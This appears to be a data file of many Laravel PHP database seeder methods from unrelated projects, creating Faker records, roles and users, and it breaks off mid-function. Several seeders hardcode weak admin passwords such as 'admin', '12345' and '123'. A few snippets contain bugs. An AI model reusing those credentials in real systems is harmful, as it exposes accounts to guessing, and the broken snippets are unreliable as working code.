\\App\\CategoryPosts::create([\n 'name' => 'Event'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Profil'\n ]);\n }", "public function run()\n {\n DB::table('users')->insert([\n 'name' => 'Admin',\n 'email' => '[email protected]',\n 'avatar' => \"avatar\",\n 'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi',\n ]);\n $this->call(CategorySeeder::class);\n // \\App\\Models\\Admin::factory(1)->create();\n \\App\\Models\\User::factory(10)->create();\n // \\App\\Models\\Category::factory(50)->create();\n \\App\\Models\\PetComment::factory(50)->create();\n $pets = \\App\\Models\\Pet::factory(50)->create();\n foreach ($pets as $pet) {\n \\App\\Models\\PetTag::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\PetPhotoUrl::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\Order::factory(1)->create(['pet_id' => $pet->id]);\n };\n }", "public function run()\n { \n\n $this->call(RoleSeeder::class);\n \n $this->call(UserSeeder::class);\n\n Storage::deleteDirectory('socials-icon');\n Storage::makeDirectory('socials-icon');\n $socials = Social::factory(7)->create();\n\n Storage::deleteDirectory('countries-flag');\n Storage::deleteDirectory('countries-firm');\n Storage::makeDirectory('countries-flag');\n Storage::makeDirectory('countries-firm');\n $countries = Country::factory(18)->create();\n\n // Se llenan datos de la tabla muchos a muchos - social_country\n foreach ($countries as $country) {\n foreach ($socials as $social) {\n\n $country->socials()->attach($social->id, [\n 'link' => 'https://www.facebook.com/ministeriopalabrayespiritu/'\n ]);\n }\n }\n\n Person::factory(50)->create();\n\n Category::factory(7)->create();\n\n Video::factory(25)->create(); \n\n $this->call(PostSeeder::class);\n\n Storage::deleteDirectory('documents');\n Storage::makeDirectory('documents');\n Document::factory(25)->create();\n\n }", "public function run()\n {\n $faker = Faker::create('id_ID');\n /**\n * Generate fake author data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('author')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Generate fake publisher data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('publisher')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Seeding payment method\n */\n DB::table('payment')->insert([\n ['name' => 'Mandiri'],\n ['name' => 'BCA'],\n ['name' => 'BRI'],\n ['name' => 'BNI'],\n ['name' => 'Pos Indonesia'],\n ['name' => 'BTN'],\n ['name' => 'Indomaret'],\n ['name' => 'Alfamart'],\n ['name' => 'OVO'],\n ['name' => 'Cash On Delivery']\n ]);\n }", "public function run()\n {\n DatabaseSeeder::seedLearningStylesProbs();\n DatabaseSeeder::seedCampusProbs();\n DatabaseSeeder::seedGenderProbs();\n DatabaseSeeder::seedTypeStudentProbs();\n DatabaseSeeder::seedTypeProfessorProbs();\n DatabaseSeeder::seedNetworkProbs();\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n // MyList::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 3; $i++) {\n MyList::create([\n 'title' => 'List-'.($i+1),\n 'color' => $faker->sentence,\n 'icon' => $faker->randomDigitNotNull,\n 'index' => $faker->randomDigitNotNull,\n 'user_id' => 1,\n ]);\n }\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Products::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few products in our database:\n for ($i = 0; $i < 50; $i++) {\n Products::create([\n 'name' => $faker->word,\n 'sku' => $faker->randomNumber(7, false),\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n User::create([\n 'name' => 'Pablo Rosales',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'status' => 1,\n 'role_id' => 1,\n 'movil' => 0\n ]);\n\n User::create([\n 'name' => 'Usuario Movil',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'status' => 1,\n 'role_id' => 3,\n 'movil' => 1\n ]);\n\n Roles::create([\n 'name' => 'Administrador'\n ]);\n Roles::create([\n 'name' => 'Operaciones'\n ]);\n Roles::create([\n 'name' => 'Comercial'\n ]);\n Roles::create([\n 'name' => 'Aseguramiento'\n ]);\n Roles::create([\n 'name' => 'Facturación'\n ]);\n Roles::create([\n 'name' => 'Creditos y Cobros'\n ]);\n\n factory(App\\Customers::class, 100)->create();\n }", "public function run()\n {\n // php artisan db:seed --class=StoreTableSeeder\n\n foreach(range(1,20) as $i){\n $faker = Faker::create();\n Store::create([\n 'name' => $faker->name,\n 'desc' => $faker->text,\n 'tags' => $faker->word,\n 'address' => $faker->address,\n 'longitude' => $faker->longitude($min = -180, $max = 180),\n 'latitude' => $faker->latitude($min = -90, $max = 90),\n 'created_by' => '1'\n ]);\n }\n\n }", "public function run()\n {\n DB::table('users')->insert([\n 'name'=>\"test\",\n 'password' => Hash::make('123'),\n 'email'=>'[email protected]'\n ]);\n DB::table('tags')->insert(['name'=>'tags']);\n $this->call(UserSeed::class);\n $this->call(CategoriesSeed::class);\n $this->call(TopicsSeed::class);\n $this->call(CommentariesSeed::class);\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n echo 'seeding permission...', PHP_EOL;\n $permissions = [\n 'role-list',\n 'role-create',\n 'role-edit',\n 'role-delete',\n 'formation-list',\n 'formation-create',\n 'formation-edit',\n 'formation-delete',\n 'user-list',\n 'user-create',\n 'user-edit',\n 'user-delete'\n ];\n foreach ($permissions as $permission) {\n Permission::create(['name' => $permission]);\n }\n echo 'seeding users...', PHP_EOL;\n\n $user= User::create(\n [\n 'name' => 'Mr. admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'remember_token' => null,\n ]\n );\n echo 'Create Roles...', PHP_EOL;\n Role::create(['name' => 'former']);\n Role::create(['name' => 'learner']);\n Role::create(['name' => 'admin']);\n Role::create(['name' => 'manager']);\n Role::create(['name' => 'user']);\n\n echo 'seeding Role User...', PHP_EOL;\n $user->assignRole('admin');\n $role = $user->assignRole('admin');\n $role->givepermissionTo(Permission::all());\n\n \\DB::table('languages')->insert(['name' => 'English', 'code' => 'en']);\n \\DB::table('languages')->insert(['name' => 'Français', 'code' => 'fr']);\n }", "public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(PermissionsSeeder::class);\n $this->call(RolesSeeder::class);\n $this->call(ThemeSeeder::class);\n\n //\n\n DB::table('paypal_info')->insert([\n 'client_id' => '',\n 'client_secret' => '',\n 'currency' => '',\n ]);\n DB::table('contact_us')->insert([\n 'content' => '',\n ]);\n DB::table('setting')->insert([\n 'site_name' => ' ',\n ]);\n DB::table('terms_and_conditions')->insert(['terms_and_condition' => 'text']);\n }", "public function run()\n {\n $this->call([\n UserSeeder::class,\n ]);\n\n User::factory(20)->create();\n Author::factory(20)->create();\n Book::factory(60)->create();\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UserSeeder::class);\n $this->call(RolePermissionSeeder::class);\n $this->call(AppmodeSeeder::class);\n\n // \\App\\Models\\Appmode::factory(3)->create();\n \\App\\Models\\Doctor::factory(100)->create();\n \\App\\Models\\Unit::factory(50)->create();\n \\App\\Models\\Broker::factory(100)->create();\n \\App\\Models\\Patient::factory(100)->create();\n \\App\\Models\\Expence::factory(100)->create();\n \\App\\Models\\Testcategory::factory(100)->create();\n \\App\\Models\\Test::factory(50)->create();\n \\App\\Models\\Parameter::factory(50)->create();\n \\App\\Models\\Sale::factory(50)->create();\n \\App\\Models\\SaleItem::factory(100)->create();\n \\App\\Models\\Goption::factory(1)->create();\n \\App\\Models\\Pararesult::factory(50)->create();\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // DB::table('roles')->insert(\n // [\n // ['name' => 'admin', 'description' => 'Administrator'],\n // ['name' => 'student', 'description' => 'Student'],\n // ['name' => 'lab_tech', 'description' => 'Lab Tech'],\n // ['name' => 'it_staff', 'description' => 'IT Staff Member'],\n // ['name' => 'it_manager', 'description' => 'IT Manager'],\n // ['name' => 'lab_manager', 'description' => 'Lab Manager'],\n // ]\n // );\n\n // DB::table('users')->insert(\n // [\n // 'username' => 'admin', \n // 'password' => Hash::make('password'), \n // 'active' => 1,\n // 'name' => 'Administrator',\n // 'email' => '[email protected]',\n // 'role_id' => \\App\\Role::where('name', 'admin')->first()->id\n // ]\n // );\n\n DB::table('status')->insert([\n // ['name' => 'Active'],\n // ['name' => 'Cancel'],\n // ['name' => 'Disable'],\n // ['name' => 'Open'],\n // ['name' => 'Closed'],\n // ['name' => 'Resolved'],\n ['name' => 'Used'],\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create([\n 'name' => 'Qwerty',\n 'email' => '[email protected]',\n 'password' => bcrypt('secretpassw'),\n ]);\n\n factory(User::class, 59)->create([\n 'password' => bcrypt('secretpassw'),\n ]);\n\n for ($i = 1; $i < 11; $i++) {\n factory(Category::class)->create([\n 'name' => 'Category ' . $i,\n ]);\n }\n\n for ($i = 1; $i < 101; $i++) {\n factory(Product::class)->create([\n 'name' => 'Product ' . $i,\n ]);\n }\n }", "public function run()\n {\n\n \t// Making main admin role\n \tDB::table('roles')->insert([\n 'name' => 'Admin',\n ]);\n\n // Making main category\n \tDB::table('categories')->insert([\n 'name' => 'Other',\n ]);\n\n \t// Making main admin account for testing\n \tDB::table('users')->insert([\n 'name' \t\t=> 'Admin',\n 'email' \t=> '[email protected]',\n 'password' => bcrypt('12345'),\n 'role_id' => 1,\n 'created_at' => date('Y-m-d H:i:s' ,time()),\n 'updated_at' => date('Y-m-d H:i:s' ,time())\n ]);\n\n \t// Making random users and posts\n factory(App\\User::class, 10)->create();\n factory(App\\Post::class, 35)->create();\n }", "public function run()\n {\n $faker = Faker::create();\n\n \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Chef',\n 'salario' => '15000.00'\n ));\n\n\t\t \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Mesonero',\n 'salario' => '12000.00'\n ));\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = \\Faker\\Factory::create();\n\n foreach (range(1,5) as $index) {\n Lista::create([\n 'name' => $faker->sentence(2),\n 'description' => $faker->sentence(10), \n ]);\n } \n\n foreach (range(1,20) as $index) {\n $n = $faker->sentence(2);\n \tTarea::create([\n \t\t'name' => $n,\n \t\t'description' => $faker->sentence(10),\n 'lista_id' => $faker->numberBetween(1,5),\n 'slug' => Str::slug($n),\n \t\t]);\n } \n }", "public function run()\n {\n $faker = Faker::create('lt_LT');\n\n DB::table('users')->insert([\n 'name' => 'user',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n DB::table('users')->insert([\n 'name' => 'user2',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n\n foreach (range(1,100) as $val)\n DB::table('authors')->insert([\n 'name' => $faker->firstName(),\n 'surname' => $faker->lastName(),\n \n ]);\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UsersTableSeeder::class);\n\n // DB::table('users')->insert([\n // 'name' => 'User1',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('password'),\n // ]);\n\n\n $faker = Faker::create();\n \n foreach (range(1,10) as $index){\n DB::table('companies')->insert([\n 'name' => $faker->company(),\n 'email' => $faker->email(10).'@gmail.com',\n 'logo' => $faker->image($dir = '/tmp', $width = 640, $height = 480),\n 'webiste' => $faker->domainName(),\n \n ]);\n }\n \n \n foreach (range(1,10) as $index){\n DB::table('employees')->insert([\n 'first_name' => $faker->firstName(),\n 'last_name' => $faker->lastName(),\n 'company' => $faker->company(),\n 'email' => $faker->str_random(10).'@gmail.com',\n 'phone' => $faker->e164PhoneNumber(),\n \n ]);\n }\n\n\n\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n Flight::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 100; $i++) {\n\n\n Flight::create([\n 'flightNumber' => $faker->randomNumber(5),\n 'depAirport' => $faker->city,\n 'destAirport' => $faker->city,\n 'reservedWeight' => $faker->numberBetween(1000 - 10000),\n 'deptTime' => $faker->dateTime('now'),\n 'arrivalTime' => $faker->dateTime('now'),\n 'reservedVolume' => $faker->numberBetween(1000 - 10000),\n 'airlineName' => $faker->colorName,\n ]);\n }\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->truncteTables([\n 'users',\n 'products'\n ]);\n\n $this->call(UsersSeeder::class);\n $this->call(ProductsSeeder::class);\n\n }", "public function run()\n {\n /**\n * Dummy seeds\n */\n DB::table('metas')->truncate();\n $faker = Faker::create();\n\n for ($i=0; $i < 10; $i++) { \n DB::table('metas')->insert([\n 'id_rel' => $faker->randomNumber(),\n 'titulo' => $faker->sentence,\n 'descricao' => $faker->paragraph,\n 'justificativa' => $faker->paragraph,\n 'valor_inicial' => $faker->numberBetween(0,100),\n 'valor_atual' => $faker->numberBetween(0,100),\n 'valor_final' => $faker->numberBetween(0,10),\n 'regras' => json_encode([$i => [\"values\" => $faker->words(3)]]),\n 'types' => json_encode([$i => [\"values\" => $faker->words(2)]]),\n 'categorias' => json_encode([$i => [\"values\" => $faker->words(4)]]),\n 'tags' => json_encode([$i => [\"values\" => $faker->words(5)]]),\n 'active' => true,\n ]);\n }\n\n\n }", "public function run()\n {\n // $this->call(UserTableSeeder::class);\n\n $faker = Faker::create();\n\n $lessonIds = Lesson::lists('id')->all(); // An array of ID's in that table [1, 2, 3, 4, 5, 7]\n $tagIds = Tag::lists('id')->all();\n\n foreach(range(1, 30) as $index)\n {\n // a real lesson id\n // a real tag id\n DB::table('lesson_tag')->insert([\n 'lesson_id' => $faker->randomElement($lessonIds),\n 'tag_id' => $faker->randomElement($tagIds),\n ]);\n }\n }", "public function run()\n {\n $this->call(CategoriasTableSeeder::class);\n $this->call(UfsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n $this->call(UserTiposTableSeeder::class);\n factory(App\\User::class, 2)->create();\n/* factory(App\\Models\\Categoria::class, 20)->create();*/\n/* factory(App\\Models\\Anuncio::class, 50)->create();*/\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n Language::truncate();\n Reason::truncate();\n Report::truncate();\n Category::truncate();\n Position::truncate();\n\n $languageQuantity = 10;\n $reasonQuantity = 10;\n $reportQuantity = 10;\n $categoryQuantity = 10;\n $positionQuantity = 10;\n\n factory(Language::class,$languageQuantity)->create();\n factory(Reason::class,$reasonQuantity)->create();\n \n factory(Report::class,$reportQuantity)->create();\n \n factory(Category::class,$categoryQuantity)->create();\n \n factory(Position::class,$positionQuantity)->create();\n\n }", "public function run()\n {\n // \\DB::statement('SET_FOREIGN_KEY_CHECKS=0');\n \\DB::table('users')->truncate();\n \\DB::table('posts')->truncate();\n // \\DB::table('category')->truncate();\n \\DB::table('photos')->truncate();\n \\DB::table('comments')->truncate();\n \\DB::table('comment_replies')->truncate();\n\n \\App\\Models\\User::factory()->times(10)->hasPosts(1)->create();\n \\App\\Models\\Role::factory()->times(10)->create();\n \\App\\Models\\Category::factory()->times(10)->create();\n \\App\\Models\\Comment::factory()->times(10)->hasReplies(1)->create();\n \\App\\Models\\Photo::factory()->times(10)->create();\n\n \n // \\App\\Models\\User::factory(10)->create([\n // 'role_id'=>2,\n // 'is_active'=>1\n // ]);\n\n // factory(App\\Models\\Post::class, 10)->create();\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n $this->call([\n ArticleSeeder::class, \n TagSeeder::class,\n Arttagrel::class\n ]);\n // \\App\\Models\\User::factory(10)->create();\n \\App\\Models\\Article::factory()->count(7)->create();\n \\App\\Models\\Tag::factory()->count(15)->create(); \n \\App\\Models\\Arttagrel::factory()->count(15)->create(); \n }", "public function run()\n {\n $this->call(ArticulosTableSeeder::class);\n /*DB::table('articulos')->insert([\n 'titulo' => str_random(50),\n 'cuerpo' => str_random(200),\n ]);*/\n }", "public function run()\n {\n $this->call(CategoryTableSeeder::class);\n $this->call(ProductTableSeeder::class);\n\n \t\t\n\t\t\tDB::table('users')->insert([\n 'first_name' => 'Ignacio',\n 'last_name' => 'Garcia',\n 'email' => '[email protected]',\n 'password' => bcrypt('123456'),\n 'role' => '1',\n 'avatar' => 'CGnABxNYYn8N23RWlvTTP6C2nRjOLTf8IJcbLqRP.jpeg',\n ]);\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(RoleSeeder::class);\n $this->call(UserSeeder::class);\n\n Medicamento::factory(50)->create();\n Reporte::factory(5)->create();\n Cliente::factory(200)->create();\n Asigna_valor::factory(200)->create();\n Carga::factory(200)->create();\n }", "public function run()\n {\n $this->call([\n RoleSeeder::class,\n TicketSeeder::class\n ]);\n\n DB::table('departments')->insert([\n 'abbr' => 'IT',\n 'name' => 'Information Technologies',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'email_verified_at' => Carbon::now(),\n 'password' => Hash::make('admin'),\n 'department_id' => 1,\n 'avatar' => 'default.png',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('role_user')->insert([\n 'role_id' => 1,\n 'user_id' => 1\n ]);\n }", "public function run()\n {\n \\App\\Models\\Article::factory(20)->create();\n \\App\\Models\\Category::factory(5)->create();\n \\App\\Models\\Comment::factory(40)->create();\n\n \\App\\Models\\User::create([\n \"name\"=>\"Alice\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n \\App\\Models\\User::create([\n \"name\"=>\"Bob\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n }", "public function run()\n {\n /** \n * Note: You must add these lines to your .env file for this Seeder to work (replace the values, obviously):\n SEEDER_USER_FIRST_NAME = 'Firstname'\n SEEDER_USER_LAST_NAME = 'Lastname'\n\t\tSEEDER_USER_DISPLAY_NAME = 'Firstname Lastname'\n\t\tSEEDER_USER_EMAIL = [email protected]\n SEEDER_USER_PASSWORD = yourpassword\n */\n\t\tDB::table('users')->insert([\n 'user_first_name' => env('SEEDER_USER_FIRST_NAME'),\n 'user_last_name' => env('SEEDER_USER_LAST_NAME'),\n 'user_name' => env('SEEDER_USER_DISPLAY_NAME'),\n\t\t\t'user_email' => env('SEEDER_USER_EMAIL'),\n 'user_status' => 1,\n \t'password' => Hash::make((env('SEEDER_USER_PASSWORD'))),\n 'permission_fk' => 1,\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s')\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class,3)->create()->each(\n \tfunction($user)\n \t{\n \t\t$user->questions()\n \t\t->saveMany(\n \t\t\tfactory(App\\Question::class, rand(2,6))->make()\n \t\t)\n ->each(function ($q) {\n $q->answers()->saveMany(factory(App\\Answer::class, rand(1,5))->make());\n })\n \t}\n );\n }\n}", "public function run()\n {\n $faker = Faker::create();\n\n // $this->call(UsersTableSeeder::class);\n\n DB::table('posts')->insert([\n 'id'=>str_random(1),\n 'user_id'=> str_random(1),\n 'title' => $faker->name,\n 'body' => $faker->safeEmail,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s'),\n ]);\n }", "public function run()\n\t{\n\t\tDB::table(self::TABLE_NAME)->delete();\n\n\t\tforeach (seed(self::TABLE_NAME) as $row)\n\t\t\t$records[] = [\n\t\t\t\t'id'\t\t\t\t=> $row->id,\n\t\t\t\t'created_at'\t\t=> $row->created_at ?? Carbon::now(),\n\t\t\t\t'updated_at'\t\t=> $row->updated_at ?? Carbon::now(),\n\n\t\t\t\t'sport_id'\t\t\t=> $row->sport_id,\n\t\t\t\t'gender_id'\t\t\t=> $row->gender_id,\n\t\t\t\t'tournamenttype_id'\t=> $row->tournamenttype_id ?? null,\n\n\t\t\t\t'name'\t\t\t\t=> $row->name,\n\t\t\t\t'external_id'\t\t=> $row->external_id ?? null,\n\t\t\t\t'is_top'\t\t\t=> $row->is_top ?? null,\n\t\t\t\t'logo'\t\t\t\t=> $row->logo ?? null,\n\t\t\t\t'position'\t\t\t=> $row->position ?? null,\n\t\t\t];\n\n\t\tinsert(self::TABLE_NAME, $records ?? []);\n\t}", "public function run()\n\t{\n\t\tDB::table('libros')->truncate();\n\n\t\t$faker = Faker\\Factory::create();\n\n\t\tfor ($i=0; $i < 10; $i++) { \n\t\t\tLibro::create([\n\n\t\t\t\t'titulo'\t\t=> $faker->text(40),\n\t\t\t\t'isbn'\t\t\t=> $faker->numberBetween(100,999),\n\t\t\t\t'precio'\t\t=> $faker->randomFloat(2,3,150),\n\t\t\t\t'publicado'\t\t=> $faker->numberBetween(0,1),\n\t\t\t\t'descripcion'\t=> $faker->text(400),\n\t\t\t\t'autor_id'\t\t=> $faker->numberBetween(1,3),\n\t\t\t\t'categoria_id'\t=> $faker->numberBetween(1,3)\n\n\t\t\t]);\n\t\t}\n\n\t\t// Uncomment the below to run the seeder\n\t\t// DB::table('libros')->insert($libros);\n\t}", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 10)->create()->each(function ($user) {\n // Seed the relation with 5 purchases\n // $videos = factory(App\\Video::class, 5)->make();\n // $user->videos()->saveMany($videos);\n // $user->videos()->each(function ($video){\n // \t$video->videometa()->save(factory(App\\VideoMeta::class)->make());\n // \t// :( \n // });\n factory(App\\User::class, 10)->create()->each(function ($user) {\n\t\t\t factory(App\\Video::class, 5)->create(['user_id' => $user->id])->each(function ($video) {\n\t\t\t \tfactory(App\\VideoMeta::class, 1)->create(['video_id' => $video->id]);\n\t\t\t // $video->videometa()->save(factory(App\\VideoMeta::class)->create(['video_id' => $video->id]));\n\t\t\t });\n\t\t\t});\n\n });\n }", "public function run()\n {\n // for($i=1;$i<11;$i++){\n // DB::table('post')->insert(\n // ['title' => 'Title'.$i,\n // 'post' => 'Post'.$i,\n // 'slug' => 'Slug'.$i]\n // );\n // }\n $faker = Faker\\Factory::create();\n \n for($i=1;$i<20;$i++){\n $dname = $faker->name;\n DB::table('post')->insert(\n ['title' => $dname,\n 'post' => $faker->text($maxNbChars = 200),\n 'slug' => str_slug($dname)]\n );\n }\n }", "public function run()\n {\n $this->call([\n CountryTableSeeder::class,\n ProvinceTableSeeder::class,\n TagTableSeeder::class\n ]);\n\n User::factory()->count(10)->create();\n Category::factory()->count(5)->create();\n Product::factory()->count(20)->create();\n Section::factory()->count(5)->create();\n Bundle::factory()->count(20)->create();\n\n $bundles = Bundle::all();\n // populate bundle-product table (morph many-to-many)\n Product::all()->each(function ($product) use ($bundles) {\n $product->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray(),\n ['default_quantity' => rand(1, 10)]\n );\n });\n // populate bundle-tags table (morph many-to-many)\n Tag::all()->each(function ($tag) use ($bundles) {\n $tag->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray()\n );\n });\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Contract::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Contract::create([\n 'serialnumbers' => $faker->numberBetween($min = 1000000, $max = 2000000),\n 'address' => $faker->address,\n 'landholder' => $faker->lastName,\n 'renter' => $faker->lastName,\n 'price' => $faker->numberBetween($min = 10000, $max = 50000),\n 'rent_start' => $faker->date($format = 'Y-m-d', $max = 'now'),\n 'rent_end' => $faker->date($format = 'Y-m-d', $max = 'now'),\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker=Faker\\Factory::create();\n\n for($i=0;$i<100;$i++){\n \tApp\\Blog::create([\n \t\t'title' => $faker->catchPhrase,\n 'description' => $faker->text,\n 'showns' =>true\n \t\t]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0'); // TO PREVENT CHECKS FOR foreien key in seeding\n\n User::truncate();\n Category::truncate();\n Product::truncate();\n Transaction::truncate();\n\n DB::table('category_product')->truncate();\n\n User::flushEventListeners();\n Category::flushEventListeners();\n Product::flushEventListeners();\n Transaction::flushEventListeners();\n\n $usersQuantities = 1000;\n $categoriesQuantities = 30;\n $productsQuantities = 1000;\n $transactionsQuantities = 1000;\n\n factory(User::class, $usersQuantities)->create();\n factory(Category::class, $categoriesQuantities)->create();\n\n factory(Product::class, $productsQuantities)->create()->each(\n function ($product) {\n $categories = Category::all()->random(mt_rand(1, 5))->pluck('id');\n $product->categories()->attach($categories);\n });\n\n factory(Transaction::class, $transactionsQuantities)->create();\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n\n $this->call(BusinessTableSeeder::class);\n $this->call(PrinterTableSeeder::class);\n factory(App\\Tag::class,10)->create();\n factory(App\\Category::class,10)->create();\n factory(App\\Subcategory::class,50)->create();\n factory(App\\Provider::class,10)->create();\n factory(App\\Product::class,24)->create()->each(function($product){\n\n $product->images()->saveMany(factory(App\\Image::class, 4)->make());\n\n });\n\n\n factory(App\\Client::class,10)->create();\n }", "public function run()\n {\n Article::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Article::create([\n 'name' => $faker->sentence,\n 'sku' => $faker->paragraph,\n 'price' => $faker->number,\n ]);\n }\n }", "public function run()\n {\n Storage::deleteDirectory('public/products');\n Storage::makeDirectory('public/products');\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n $this->call(ProductSeeder::class);\n Order::factory(4)->create();\n Order_Detail::factory(4)->create();\n Size::factory(100)->create();\n }", "public function run()\n {\n $this->call(RolSeeder::class);\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n Doctor::factory(25)->create();\n Patient::factory(50)->create();\n Status::factory(3)->create();\n Appointment::factory(100)->create();\n }", "public function run()\n\t{\n\t\t\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n\t\t$faker = \\Faker\\Factory::create();\n\n\t\tTodolist::truncate();\n\n\t\tforeach(range(1, 50) as $index)\n\t\t{\n\n\t\t\t$user = User::create([\n\t\t\t\t'name' => $faker->name,\n\t\t\t\t'email' => $faker->email,\n\t\t\t\t'password' => 'password',\n\t\t\t\t'confirmation_code' => mt_rand(0, 9),\n\t\t\t\t'confirmation' => rand(0,1) == 1\n\t\t\t]);\n\n\t\t\t$list = Todolist::create([\n\t\t\t\t'name' => $faker->sentence(2),\n\t\t\t\t'description' => $faker->sentence(4),\n\t\t\t]);\n\n\t\t\t// BUILD SOME TASKS FOR EACH LIST ITEM\n\t\t\tforeach(range(1, 10) as $index) \n\t\t\t{\n\t\t\t\t$task = new Task;\n\t\t\t\t$task->name = $faker->sentence(2);\n\t\t\t\t$task->description = $faker->sentence(4);\n\t\t\t\t$list->tasks()->save($task);\n\t\t\t}\n\n\t\t}\n\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 1'); \n\n\t}", "public function run()\n {\n Campus::truncate();\n Canteen::truncate();\n Dorm::truncate();\n\n $faker = Faker\\Factory::create();\n $schools = School::all();\n foreach ($schools as $school) {\n \tforeach (range(1, 2) as $index) {\n\t \t$campus = Campus::create([\n\t \t\t'school_id' => $school->id,\n\t \t\t'name' => $faker->word . '校区',\n\t \t\t]);\n\n \t$campus->canteens()->saveMany(factory(Canteen::class, mt_rand(2,3))->make());\n $campus->dorms()->saveMany(factory(Dorm::class, mt_rand(2,3))->make());\n\n }\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'seq_q'=>'1',\n 'seq_a'=>'admin'\n ]);\n\n // DB::table('bloods')->insert([\n // ['name' => 'A+'],\n // ['name' => 'A-'],\n // ['name' => 'B+'],\n // ['name' => 'B-'],\n // ['name' => 'AB+'],\n // ['name' => 'AB-'],\n // ['name' => 'O+'],\n // ['name' => 'O-'],\n // ]);\n\n \n }", "public function run()\n {\n // $this->call(UserTableSeeder::class);\n \\App\\User::create([\n 'name'=>'PAPE SAMBA NDOUR',\n 'email'=>'[email protected]',\n 'password'=>bcrypt('Admin1122'),\n ]);\n\n $faker = Faker::create();\n\n for ($i = 0; $i < 100 ; $i++)\n {\n $firstName = $faker->firstName;\n $lastName = $faker->lastName;\n $niveau = \\App\\Niveau::inRandomOrder()->first();\n \\App\\Etudiant::create([\n 'prenom'=>$firstName,\n 'nom'=>$lastName,\n 'niveau_id'=>$niveau->id\n ]);\n }\n\n\n }", "public function run()\n {\n //\n DB::table('foods')->delete();\n\n Foods::create(array(\n 'name' => 'Chicken Wing',\n 'author' => 'Bambang',\n 'overview' => 'a deep-fried chicken wing, not in spicy sauce'\n ));\n\n Foods::create(array(\n 'name' => 'Beef ribs',\n 'author' => 'Frank',\n 'overview' => 'Slow baked beef ribs rubbed in spices'\n ));\n\n Foods::create(array(\n 'name' => 'Ice cream',\n 'author' => 'Lou',\n 'overview' => ' A sweetened frozen food typically eaten as a snack or dessert.'\n ));\n\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n News::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, 